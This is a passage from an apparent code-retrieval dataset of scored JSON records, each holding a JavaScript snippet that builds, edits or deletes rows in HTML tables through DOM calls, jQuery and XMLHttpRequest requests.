8\n\t\t\t\t\t});\n\t\t\t\t\trow.add(client_contact_label);\n\t\t\t\t\tself.data[_section_no].add(row);\n\t\t\t\t}\n\t\t\t\trows.close();\n\t\t\t\t_section_no++;\n\t\t\t} catch (err) {\n\t\t\t\tself.process_simple_error_message(err, window_source + ' - _setup_row_for_client_contact_section');\n\t\t\t\treturn;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "9fa365df94d8f4fdbba68801fea7884a", "score": "0.6241859", "text": "function editDataTable() {\n\t$(\"#registrationTable\").on('click', 'input[id=\"editButton\"]', function (event) {\n\t\teditableContentIndex=0;\n\t\t$(this).hide();\n\t\t$(\"#deleteButton\").hide();\n\t\t$(\"#saveButton\").show();\n\t\t$(\"#cancelButton\").show();\n\t\t$(this).parents('tr').find('td.editableColumns').each(function () {\n\t\t\t$(this).prop('contenteditable', true);\n\t\t\teditableContentsArray[editableContentIndex]=$(this).html();\n\t\t\teditableContentIndex++;\n\n\t\t});\n\t});\n\n\t$(\"#registrationTable\").on('click', 'input[id=\"saveButton\"]', function (event) {\n\t\t$(this).parents('tr').find('td.editableColumns').each(function () {\n\t\t\t$(this).prop('contenteditable', false);\n\t\t});\n\t\t$(this).hide();\n\t\t$(\"#deleteButton\").show();\n\t\t$(\"#editButton\").show();\n\t\t$(\"#cancelButton\").hide();\n\t});\n\n\t$(\"#registrationTable\").on('click', 'input[id=\"cancelButton\"]', function (event) {\n\t\teditableContentIndex=0;\n\t\t$(this).parents('tr').find('td.editableColumns').each(function () {\n\t\t\t$(this).prop('contenteditable', false);\n\t\t\t$(this).html(editableContentsArray[editableContentIndex]);\n\t\t\teditableContentIndex++;\n\n\t\t});\n\t\t$(this).hide();\n\t\t$(\"#deleteButton\").show();\n\t\t$(\"#saveButton\").hide();\n\t\t$(\"#editButton\").show();\n\t});\n}", "title": "" }, { "docid": "a9b5b13639591abb6a347a9530fd7172", "score": "0.6237452", "text": "function addPremiseRecordToTable(data) {\n var Premiseslist = document.getElementById(\"Premiseslist\").getElementsByTagName(\"tbody\")[0];\n var newRecord =Premiseslist.insertRow(Premiseslist.length);\n\n var cell1 = newRecord.insertCell(0);\n cell1.innerHTML = data.PremiseId;\n var cell2 = newRecord.insertCell(1);\n cell2.innerHTML = data.MeterNo;\n var cell3 = newRecord.insertCell(2);\n cell3.innerHTML = data.Customerid;\n var cell4 = newRecord.insertCell(3);\n cell4.innerHTML = data.Routeid;\n var cell5 = newRecord.insertCell(4);\n cell5.innerHTML = data.createdAt;\n var cell6 = newRecord.insertCell(5);\n cell6.innerHTML = data.updatedAt;\n var cell7 = newRecord.insertCell(6);\n cell7.innerHTML = '<a onclick=\"onPremiseEdit(this)\">Edit</a>'; \n}", "title": "" }, { "docid": "9ee62b749a433458a2e65128392f5a77", "score": "0.6223293", "text": "function getDataRow(items) {\n\n //create the row\n var row = document.createElement('tr');\n\n //create the name column\n var nameCell = document.createElement('td');\n nameCell.innerHTML = items.name;\n row.appendChild(nameCell);\n var btnEname = document.createElement('input');\n btnEname.setAttribute('type', 'button');\n btnEname.setAttribute('value', ' Edit ');\n\n // edit the name when click\n btnEname.onclick=function(){\n var newName=prompt(\"Please enter a new name:\",items.name);\n\n //names validation allow only letters and spaces.\n judge();\n function judge(){\n if(newName.match(/^([A-Za-z]+\\s?)*[A-Za-z]$/)){\n items.name=newName.toLowerCase()\n }else {\n newName=prompt(\" Please enter a proper name:\",items.name);\n judge();\n }\n }\n\n var xhttp = new XMLHttpRequest();\n xhttp.open(\"PUT\",users_url+\"/\" + items.id);\n xhttp.setRequestHeader('Content-Type','application/json');\n\n var params={\n //Initial capital\n name:items.name.replace(newName[0],newName[0].toUpperCase())\n };\n\n // when the PUT request is finished, clear and update the user list\n xhttp.addEventListener('load', function(){\n updateUserList();\n });\n xhttp.send(JSON.stringify(params));\n };\n\n //create the barcode column\n var barcodeCell = document.createElement('td');\n barcodeCell.innerHTML = items.barcode;\n row.appendChild(barcodeCell);\n\n //create the member column\n var memberCell = document.createElement('td');\n memberCell.innerHTML = items.memberType;\n row.appendChild(memberCell);\n var btnEtype = document.createElement('input');\n btnEtype.setAttribute('type', 'button');\n btnEtype.setAttribute('value', ' Edit ');\n\n btnEtype.onclick=function(){\n var newType=prompt(\"Please enter Staff or Student:\",items.memberType);\n judge();\n function judge(){\n if(newType.toLowerCase()===\"student\"||newType.toLowerCase()===\"staff\"){\n items.memberType=newType.toLowerCase();\n }else {\n newType=prompt(\" Only Staff or Student can be entered:\",items.memberType);\n judge();\n }\n }\n\n var xhttp = new XMLHttpRequest();\n xhttp.open(\"PUT\",users_url+\"/\"+ items.id);\n xhttp.setRequestHeader('Content-Type','application/json');\n var params={\n\n //Initial capital\n memberType:items.memberType.replace(newType[0],newType[0].toUpperCase())\n };\n\n // when the PUT request is finished, clear and update the user list\n xhttp.addEventListener('load', function(){\n updateUserList();\n });\n xhttp.send(JSON.stringify(params));\n };\n\n // delete button\n //create the operation column\n var delCell = document.createElement('td');\n row.appendChild(delCell);\n var btnDel=document.createElement('input');\n btnDel.setAttribute('type', 'button');\n btnDel.setAttribute('value', 'Delete');\n\n //delete function\n btnDel.onclick =function(){\n if(confirm(\"delete?\")){\n\n //btnDel - td - tr - tbody - delete(tr)  \n this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode);\n\n // delete the data from database\n var xhttp = new XMLHttpRequest();\n xhttp.open(\"DELETE\",users_url+ \"/\" + items.id);\n\n // delete the data from database\n xhttp.send();\n }\n };\n\n delCell.appendChild(btnDel);\n nameCell.appendChild(btnEname);\n memberCell.appendChild(btnEtype);\n\n //update the items\n return row;\n}", "title": "" }, { "docid": "d7dd981b8248078fa0e0174e161f5298", "score": "0.62187946", "text": "function loadContactOrder(json, index) {\n\n var fields = document.getElementsByClassName('modal-body')[2].getElementsByClassName('tr')[1].children;\n for (var f = 0; f < fields.length; f++) fields[f].setAttribute('class', 'td');\n\n\n document.getElementsByClassName('btn btn-primary')[2].setAttribute('onclick', \"saveContactOrdersPopup(\" + index + \")\");\n //Content for Cell\n document.getElementById(\"modalContactsTitle\").innerHTML = (json.name == \"\") ? \"None\" : json.name;\n //Change Event\n document.getElementById(\"modalContactsTitle\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"Name\").innerHTML = (json.name == \"\") ? \"None\" : json.name;\n document.getElementById(\"Name\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementsByClassName('tr menuElement')[index].getElementsByClassName('td')[5].firstElementChild.innerHTML = document.getElementById(\"Name\").innerHTML;\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"Postcode\").innerHTML = (json.postcode == \"\") ? \"None\" : json.postcode;\n document.getElementById(\"Postcode\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"Street\").innerHTML = (json.street == \"\") ? \"None\" : json.street;\n document.getElementById(\"Street\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"City\").innerHTML = (json.city == \"\") ? \"None\" : json.city;\n document.getElementById(\"City\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"Nr\").innerHTML = (json.nr == \"\") ? \"None\" : json.nr;\n document.getElementById(\"Nr\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"Phone\").innerHTML = (json.phone == \"\") ? \"None\" : json.phone;\n document.getElementById(\"Phone\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n document.getElementById(\"Chat_id\").innerHTML = (json.chat_id == \"\") ? \"None\" : json.chat_id;\n document.getElementById(\"Chat_id\").onkeydown = function () {\n if (event.keyCode == 8 || (event.keyCode > 44 && event.keyCode < 111) || (event.keyCode > 185 && event.keyCode < 192) || (event.keyCode > 218 && event.keyCode < 223)) {\n document.getElementById(\"reload\").setAttribute(\"class\", \"btn btn-lg active\");\n this.parentElement.setAttribute('class', 'td bg-warning');\n }\n };\n}", "title": "" }, { "docid": "23bd03638562875733fd51ee5e7ca757", "score": "0.6203419", "text": "function CrearTablaSeguridadSocial(myJson) {\n\n var tabla = new grid(\"oTabla\");\n var j = 0;\n\n var obj = JSON.parse(myJson);\n deleteLastRow(\"oTabla\");\n //alert(obj.length);\n \n for (j = 0; j <= (obj.length - 1); j++)\n {\n //alert(obj[j].Descripcion);\n var row = tabla.AddRowTable(j + 1);\n\n \n var celda = tabla.AddRowCellText(row, 0, obj[j].id);\n celda.setAttribute('hidden', 'true'); // ocultar la columna ID\n tabla.AddRowCellText(row, 1, obj[j].fecha);\n tabla.AddRowCellText(row, 2, obj[j].concepto);\n tabla.AddRowCellNumber(row, 3, obj[j].LocaleImporte);\n tabla.AddRowCellText(row, 4,\n '<ul class=\"table-controls\">'+\n '<li ><a onclick=\"IngresoSeguridad('+(j+1)+');\" class=\"btn tip\" title=\"Pagar Nómina\"> <i class=\"icon-money\"> </i> </a></li>'+\n '<li ><a onclick=\"UpdateSeguridad('+(j+1)+');\" class=\"btn tip\" title=\"Editar Cargo Nómina\"> <i class=\"icon-pencil\"> </i> </a></li></ul>');\n \n }\n \n obj=null;\n\n}", "title": "" }, { "docid": "f39a706b97268ec3eaec158a4afd045f", "score": "0.61993796", "text": "function addMemberRecordToTable(data) {\n var memberslist = document.getElementById(\"memberslist\").getElementsByTagName(\"tbody\")[0];\n var newRecord =memberslist.insertRow(memberslist.length);\n\n var cell1 = newRecord.insertCell(0);\n cell1.innerHTML = data.member_id;\n var cell2 = newRecord.insertCell(1);\n cell2.innerHTML = data.member_name;\n var cell3 = newRecord.insertCell(2);\n cell3.innerHTML = data.email_address;\n var cell4 = newRecord.insertCell(3);\n cell4.innerHTML = data.telephone;\n var cell5 = newRecord.insertCell(4);\n cell5.innerHTML = data.member_gender;\n var cell6 = newRecord.insertCell(5);\n cell6.innerHTML = data.date_of_birth;\n var cell7 = newRecord.insertCell(6);\n cell7.innerHTML = data.address;\n var cell8 = newRecord.insertCell(7);\n cell8.innerHTML = data.referral_id;\n \n var cell9 = newRecord.insertCell(8);\n cell9.innerHTML = '<a onclick=\"showOne(this)\">View</a> <a onclick=\"onMemberEdit(this)\">Edit</a> <a onClick=\"onMemberDelete(this)\">Delete</a>'; \n}", "title": "" }, { "docid": "998a4ac68ed6ded49f87b3b7bed84cd0", "score": "0.61810803", "text": "function addEcole() \n {\n //$('#linkupdate').hide();\n var ecole = {};\n ecole.nom =document.querySelector(\"#nom\").value;\n ecole.id =document.querySelector(\"#idEcole\").value;\n ecole.cp =document.querySelector(\"#cp\").value;\n ecole.adresse =document.querySelector(\"#adresse\").value;\n \n var url =''+path+'/ControllerCentralEcole?action=add';\n var xhr = new XMLHttpRequest();\n xhr.open('POST', url, true);\n xhr.onloadend = function () \n {\n var ecoleR = JSON.parse(this.response);\n // console.log(\"reponse \" +JSON.stringify(ecoleR));\n if(typeof ecoleR !='undefined')//== \"undefined\"\n {\n if(ecoleR.id!==null)\n {\n if(typeof ecoleR.op !='undefined' && ecoleR.op==='add')\n {\n table.row.add( [ '', ecoleR.nom, ecoleR.cp, ecoleR.adresse, ecoleR.id]).draw();\n $('#contenuMessage').text(\"Insertion reussie\");\n $('#modalMessage').modal('show');\n donneesEcoles.push(ecoleR);\n }else if(typeof ecoleR.op !='undefined' && ecoleR.op==='upd')\n {\n $('#contenuMessage').text(\"Modification reussie\");\n $('#modalMessage').modal('show');\n \n table.rows().every( function ( rowIdx, tableLoop, rowLoop ) {\n var d = this.data();\n\n \n console.log(d[4] + ' '+ ecoleR.id);\n if(d[4]==ecoleR.id)\n {\n //console.log(\"trouver \");\n d[1]=ecoleR.nom;\n d[2]=ecoleR.cp;\n d[3]=ecoleR.adresse;\n }\n\n table.row( this ).data(d).draw();\n \n } );\n }\n \n $('input[type=\"text\"]').each(function()\n {\n $(this).val('');\n }\n );\n $('#idEcole').val('');\n \n }\n \n }else{\n if(ecoleR.op==='add')\n {\n $('#contenuMessage').text(\"Echec insertion\");\n $('#modalMessage').modal('show');\n }else if(ecoleR.op==='upd')\n {\n $('#contenuMessage').text(\"Echec Modification\");\n $('#modalMessage').modal('show');\n }\n }\n \n };\n xhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');\n //console.log(\"send \" +JSON.stringify(ecole));\n xhr.send(JSON.stringify(ecole));\n\n return false;\n }", "title": "" }, { "docid": "9ed121e1bb6de6a03f29089121b8fb9d", "score": "0.61378133", "text": "function loadData(){\n\t\t$.ajax({\n\t\t\tdataType: \"json\",\n\t\t\ttype: 'GET',\n\t\t\tdata: {},\n\t\t\turl: getAbsolutePath() + \"fabricSupplier/list\",\n\t\t\tcontentType: \"application/json\",\n\t\t\tsuccess: function(data){\n\t\t\t\tvar i = 1;\n\t\t\t\tif(data.list.length==0){\n//\t\t\t\t\talert(\"Bảng hiện tại chưa có dữ liệu.\");\n\t\t\t\t}\n\t\t\t\t$.each(data.list,function(key,value){\n\t\t\t\t\tvar tmp='';\n\t\t\t\t\tif(value.fabricsuppliercontactModelList.length>0){\n\t\t\t\t\t\ttmp+='<table border=\"0\">';\n\t\t\t\t\t\t$.each(value.fabricsuppliercontactModelList,function(key,value1){\n\t\t\t\t\t\t\ttmp+='<tr><td>'+value1.name+'</td><td>'+value1.email+'</td>'+'<td>'+value1.tel+'</td>'+'</tr>';\n\t\t\t\t\t\t});\n\t\t\t\t\t\ttmp+='</table>';\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$('<tr>').append(\n\t\t\t\t\t\t\t$('<td>').text(i++),\n\t\t\t\t\t\t\t$('<td>').text(value.fabricsupcode),\n\t\t\t\t\t\t\t$('<td>').text(value.shortname),\n\t\t\t\t\t\t\t$('<td>').text(value.longname),\n//\t\t\t\t\t\t\t$('<td>').text(value.ischori==true?\"Yes\":\"No\"),\n\t\t\t\t\t\t\t$('<td>').text(value.address==null?'':value.address),\n\t\t\t\t\t\t\t$('<td>').text(value.tel),\n\t\t\t\t\t\t\t$('<td>').text(value.fax),\n\t\t\t\t\t\t\t$('<td>').text(value.taxno),\n\t\t\t\t\t\t\t$('<td>').html(value.fabricsuppliercontactModelList.length==0?'':tmp),\n//\t\t\t\t\t\t\t$('<td>').html('<button class=\"btn btn-primary btnEdit\" data-id=\"'+value.fabricsupcode+'\">Edit</button>'),\n//\t\t\t\t\t\t\t$('<td>').html('<button class=\"btn btn-danger btnDelete\" data-id=\"'+value.fabricsupcode+'\">Delete</button>')\n\t\t\t\t\t\t\t$('<td>').html('<select class=\"selectpicker selectOption\" data-id=\"'+value.fabricsupcode+'\">'\n\t\t\t\t\t\t\t\t\t+'<option value=\"Options\" disabled selected>Options</option>'\n\t\t\t\t\t\t\t\t\t+'<option value=\"Edit\">Edit</option>'\n\t\t\t\t\t\t\t\t\t+'<option value=\"Delete\">Delete</option></select>')\n\t\t\t\t\t).appendTo('#listFabricSupplier');\n\t\t\t\t});\n\t\t\t\taction();\n\n\t\t\t\t$('#listFabricSupplier').DataTable( {\n\t\t\t\t\t\"pagingType\": \"full_numbers\",\n\t\t\t\t\t\"scrollX\": true\n\t\t\t } );\n\t\t\t},\n\t\t\terror: function(){\n\t\t\t\talert(\"Không lấy đc dữ liệu!\");\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "a9af8f71ca4f494cd3f1937dddf9bc96", "score": "0.6112691", "text": "function saveTableData() {\n $(regTable).on('click', 'input[id=\"saveButton\"]', function (event) {\n $(this).parents('tr').find('td.editableColumns').each(function () {\n $(this).prop('contenteditable', false);\n });\n $(this).hide();\n $(\"#deleteButton\").show();\n $(\"#editButton\").show();\n $(\"#cancelButton\").hide();\n\n });\n }", "title": "" }, { "docid": "96529b404818e5c9abb86a311266d78b", "score": "0.6096037", "text": "function addColumn(btn) {\n\n var row = btn.parentNode.parentNode;\n let rIndex = row.rowIndex;\n let originalID = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[0].value;\n\n let originalFirstName = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[1].value;\n let originalMiddleName = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[2].value;\n let originalLastName = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[3].value;\n let originalEmail = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[4].value;\n let originalPhone = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[5].value;\n let originalRole = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[6].value;\n let originalAddress = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[7].value;\n originalInfo.push(originalID, originalFirstName, originalMiddleName, originalLastName, originalEmail, originalPhone, originalRole, originalAddress);\n let r = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\").length;\n let r2 = document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\");\n let newlength = r - 2;\n \n for (let i = 0; i < newlength; i++) {\n\n document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[i].readOnly = !(document.getElementsByTagName(\"tr\")[rIndex].getElementsByTagName(\"input\")[i].readOnly);\n }\n\n // making edit button disabled \n let xx = rIndex + 1;\n $(\"#edit\").prop('disabled', function (xx, v) {\n return !v;\n });\n \n\n let r1 = row.parentNode;\n\n \n\n\n $('#data').each(function () {\n\n $(`tr:eq(${rIndex})`).append('<td><input id=save type=button value=Save onclick=saveData(this)></td>' +\n '<td><input type=button value=Cancel onclick=cancelData(this)></td>');\n\n });\n\n\n\n\n\n}", "title": "" }, { "docid": "ffa9afbd5fcfd00d864f802c57f1ef53", "score": "0.609473", "text": "function loadContacts(pattern) {\n var url = \"\";\n\n if (pattern != undefined) {\n url = CONTACTS_URL + \"/find?pattern=\" + pattern;\n } else {\n url = CONTACTS_URL;\n }\n\n $.getJSON(url, function (data) {\n var table = document.getElementById(\"contact-table\");\n\n // Reset index and table//\n contacts = new Object();\n while (table.rows.length > 1) {\n table.deleteRow(1);\n }\n\n // Draw and index data //\n data.forEach(function (contact, i, arr) {\n var row = table.insertRow();\n row.id = contact.id;\n row.insertCell(0).innerText = contact.lastName;\n row.insertCell(1).innerText = contact.firstName;\n row.insertCell(2).innerText = contact.middleName;\n row.insertCell(3).innerText = contact.mobilePhoneNumber;\n row.insertCell(4).innerText = contact.homePhoneNumber;\n row.insertCell(5).innerText = contact.email;\n row.insertCell(6).innerText = contact.address;\n row.insertCell(7).innerHTML = EDIT_BUTTON.format(contact.id);\n row.insertCell(8).innerHTML = REMOVE_BUTTON.format(contact.id);\n\n contacts[contact.id] = contact; // Used for getting contact by ID //\n })\n });\n}", "title": "" }, { "docid": "cd4f0a5bf88de2ae00f08666e5982436", "score": "0.6091348", "text": "function addRow(tableID)\n{\n var table = $(\"#myTable\");\n var rowCount = table.rows.length;\n var row = table.insertRow(rowCount);\n var cell0 = row.insertCell(0);\n cell0.innerHTML=table.rows.length-1;\n var cell1 = row.insertCell(1);\n cell1.innerHTML = '<input type=\"button\" value = \"Delete\" onClick=\"Javacsript:deleteRow(this)\">'\n var cell2 = row.insertCell(2);\n cell2.innerHTML = '<input type=\"button\" value = \"Edit\" onClick=\"Javacsript:editRow(this)\">'\n var cell3 = row.insertCell(3);\n cell3.innerHTML=document.studentDetails.firstName.value;\n var cell4 = row.insertCell(4);\n cell4.innerHTML=document.studentDetails.lastName.value;\n var cell5 = row.insertCell(5);\n cell5.innerHTML=document.studentDetails.class.value;\n var cell6 = row.insertCell(6);\n cell6.innerHTML=document.studentDetails.dob.value;\n var cell7 = row.insertCell(7);\n cell7.innerHTML=document.studentDetails.fatherName.value;\n var cell8 = row.insertCell(8);\n cell8.innerHTML=document.studentDetails.motherName.value;\n var cell9 = row.insertCell(9);\n cell9.innerHTML=document.studentDetails.email.value;\n var cell10 = row.insertCell(10);\n cell10.innerHTML=document.studentDetails.phoneNumber.value;\n var cell11 = row.insertCell(11);\n cell11.innerHTML = document.studentDetails.altMail.value;\n var cell12 = row.insertCell(12);\n cell12.innerHTML = document.studentDetails.altPhoneNumber.value;\n var cell13 = row.insertCell(13);\n cell13.innerHTML=document.studentDetails.address1.value;\n var cell14 = row.insertCell(14);\n cell14.innerHTML=document.studentDetails.address2.value;\n var cell15 = row.insertCell(15);\n cell15.innerHTML=document.studentDetails.district.value;\n var cell16 = row.insertCell(16);\n cell16.innerHTML=document.studentDetails.state.value;\n var cell17 = row.insertCell(17);\n cell17.innerHTML=document.studentDetails.pinCode.value;\n var cell18 = row.insertCell(18);\n cell18.innerHTML=document.studentDetails.country.value;\n var cell19 = row.insertCell(19);\n cell19.innerHTML=document.studentDetails.pAddress1.value;\n var cell20 = row.insertCell(20);\n cell20.innerHTML=document.studentDetails.pAddress2.value;\n var cell21 = row.insertCell(21);\n cell21.innerHTML = document.studentDetails.pDistrict.value;\n var cell22 = row.insertCell(22);\n cell22.innerHTML = document.studentDetails.pState.value;\n var cell23 = row.insertCell(23);\n cell23.innerHTML=document.studentDetails.pPinCode.value;\n var cell24 = row.insertCell(24);\n cell24.innerHTML=document.studentDetails.pCountry.value;\n $(\"#myForm\").reset();\n return false;\n \n}", "title": "" }, { "docid": "4dc695153dff9d4e650a7c1294407301", "score": "0.6089818", "text": "function render(data) {\r\n\t\t\t\tvar tabela = $('#tableDiv').append(\r\n\t\t\t\t\t\t$('<table></table>').attr(\"id\", \"tabela\"));\r\n\t\t\t\tvar tHead = \"<thead id='tableHead'></thead>\";\r\n\t\t\t\t$('#tabela').append(tHead);\r\n\t\t\t\tvar rowH = \"<tr> \" + \"<th>ID</th>\" + \"<th>Cidade</th>\"\r\n\t\t\t\t\t\t+ \"<th>Estado</th>\" + \"<th>Status</th>\"\r\n\t\t\t\t\t\t+ \"<th>Actions</th>\" + \"</tr>\";\r\n\t\t\t\t$('#tableHead').append(rowH);\r\n\r\n\t\t\t\t$('#tabela').append(\r\n\t\t\t\t\t\t$('<tbody></tbody>').attr(\"id\", \"tabelaBody\"));\r\n\r\n\t\t\t\t$.each(data,\r\n\t\t\t\t\t\t\t\tfunction(index, value) {\r\n\r\n\t\t\t\t\t\t\t\t\tvar td = $(\"<tr id= 'row\" + index + \"'>\"\r\n\t\t\t\t\t\t\t\t\t\t\t+ \"</tr>\");\r\n\r\n\t\t\t\t\t\t\t\t\tvar row1 = $(\"<td>\" + value.idCidade\r\n\t\t\t\t\t\t\t\t\t\t\t+ \"</td>\");\r\n\r\n\t\t\t\t\t\t\t\t\tvar row2 = $(\"<td>\" + value.nomeCidade\r\n\t\t\t\t\t\t\t\t\t\t\t+ \"</td>\");\r\n\r\n\t\t\t\t\t\t\t\t\tvar row3 = $(\"<td>\"\r\n\t\t\t\t\t\t\t\t\t\t\t+ value.idEstado.siglaEstado\r\n\t\t\t\t\t\t\t\t\t\t\t+ \"</td>\");\r\n\r\n\t\t\t\t\t\t\t\t\tvar row4 = $(\"<td>\" + value.statusCidade\r\n\t\t\t\t\t\t\t\t\t\t\t+ \"</td>\");\r\n\r\n\t\t\t\t\t\t\t\t\t// Efetua A Funcao Ao Clicar No Botao\r\n\t\t\t\t\t\t\t\t\t// btn-update\r\n\t\t\t\t\t\t\t\t\tvar buttonUpdate = $(\r\n\t\t\t\t\t\t\t\t\t\t\t'<button>Modificar</button>').attr(\r\n\t\t\t\t\t\t\t\t\t\t\t\"id\", \"btn-update-\" + index).click(\r\n\t\t\t\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t\t\t\tp1 : this\r\n\t\t\t\t\t\t\t\t\t\t\t}, setInputData);\r\n\r\n\t\t\t\t\t\t\t\t\tvar buttonRemove = $(\r\n\t\t\t\t\t\t\t\t\t\t\t'<button>Remover</button>').attr(\r\n\t\t\t\t\t\t\t\t\t\t\t\"id\", \"btn-remove-\" + index).click(\r\n\t\t\t\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t\t\t\tp1 : this\r\n\t\t\t\t\t\t\t\t\t\t\t}, callRemoveServlet);\r\n\r\n\t\t\t\t\t\t\t\t\tvar row5 = $(\"<td></td>\");\r\n\t\t\t\t\t\t\t\t\trow5.append(buttonUpdate);\r\n\t\t\t\t\t\t\t\t\trow5.append(buttonRemove);\r\n\r\n\t\t\t\t\t\t\t\t\ttd.append(row1);\r\n\t\t\t\t\t\t\t\t\ttd.append(row2);\r\n\t\t\t\t\t\t\t\t\ttd.append(row3);\r\n\t\t\t\t\t\t\t\t\ttd.append(row4);\r\n\t\t\t\t\t\t\t\t\ttd.append(row5);\r\n\r\n\t\t\t\t\t\t\t\t\t$('#tabela tbody').append(td);\r\n\r\n\t\t\t\t\t\t\t\t\t$('#set').append('</tbody></table>');\r\n\t\t\t\t\t\t\t\t\t// Preenche O Select Estado\r\n\t\t\t\t\t\t\t\t\tgetEstados();\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t})\r\n\r\n\t\t\t}", "title": "" }, { "docid": "2119f903aaf1f58c882f00f62828c3db", "score": "0.6088237", "text": "function addUser(id, firstname, lastname, email) {\n var table = document.getElementById(\"usersTable\");\n var row = table.insertRow();\n row.setAttribute(\"data-id\", id);\n row.id = id;\n var cell1 = row.insertCell(0);\n var cell2 = row.insertCell(1);\n var cell3 = row.insertCell(2);\n var cell4 = row.insertCell(3);\n cell1.innerHTML = firstname;\n cell2.innerHTML = lastname;\n cell3.innerHTML = email;\n\n//adding Delete button and Deleting user by clicking on Delete button \n var deleteButton = document.createElement(\"button\");\n deleteButton.innerHTML = \"Delete\";\n cell4.appendChild(deleteButton);\n deleteButton.addEventListener (\"click\", function() {\n var conf = confirm(\"Do you confirm deletion?\");\n if (conf == true) {\n DELETE('/restapi/users/' + id, function(){\n row.parentElement.removeChild(row); \n })\n } else {\n alert(\"You pressed Cancel!\");\n }\n }) \n\n//adding Edit button\n var editButton = document.createElement(\"button\");\n editButton.innerHTML = \"Edit\";\n cell4.appendChild(editButton);\n editButton.addEventListener (\"click\", function() {\n document.getElementsByClassName('popup')[0].style.display = 'block';\n document.edit.firstname.value = cell1.innerHTML;\n document.edit.lastname.value = cell2.innerHTML;\n document.edit.email.value = cell3.innerHTML;\n document.edit.userId.value = row.id;\n });\n}", "title": "" }, { "docid": "9f0c2fe239226e286c8d5f1fe0df528e", "score": "0.60882086", "text": "RowEdit(id, name, email, level) {\n this.button_add = false;\n this.button_update = true;\n this.button_cancel = true;\n this.add_name = false;\n this.add_email = false;\n this.add_level = false;\n this.update_name = true;\n this.update_email = true;\n this.update_level = true;\n this.var_up_name = name;\n this.var_up_email = email;\n this.var_up_level = level;\n this.var_up_id = id;\n this.var_up_name = name;\n this.var_up_email = email;\n this.var_up_level = level;\n }", "title": "" }, { "docid": "e1f5f9453d3825a70f64bc7cf3e4332a", "score": "0.6083351", "text": "function deleteAndInsert(parent,index){\n console.log(\"delete and Insert\");\n var table_body=document.getElementById(\"table_body\");\n console.log(parent.parentNode);\n console.log(parent);\n table_body.removeChild(parent);\n \n newDesp=document.getElementById(\"Edit_Desp\").value;\n newAmt=parseFloat(document.getElementById(\"Edit_Amount\").value);\n newDate=document.getElementById(\"Edit_date\").value;\n newSpend=document.getElementById(\"Edit_spend\").value;\n console.log(newDesp,newAmt,newDate,newSpend);\n var data=JSON.parse(localStorage.getItem(\"data\"));\n data.splice(index,1);\n localStorage.setItem(\"data\",JSON.stringify(data));\n var row=createRow(newDesp,newAmt,newDate,newSpend);\n \n table_body.appendChild(row);\n \n refreshData(newDesp,newAmt,newDate,newSpend);\n\n //var editModel=document.getElementById(\"editModal\");\n //editModel.style.display=\"none\";\n var modal = document.getElementById(\"modalEdit\");\n modal.style.display = \"none\";\n\n}", "title": "" }, { "docid": "0efa4f14bf393eaef015369fde6f2331", "score": "0.60751194", "text": "function manageRowVen(data) {\n\tvar\trows = '';\n\t$.each( data, function( key, value ) 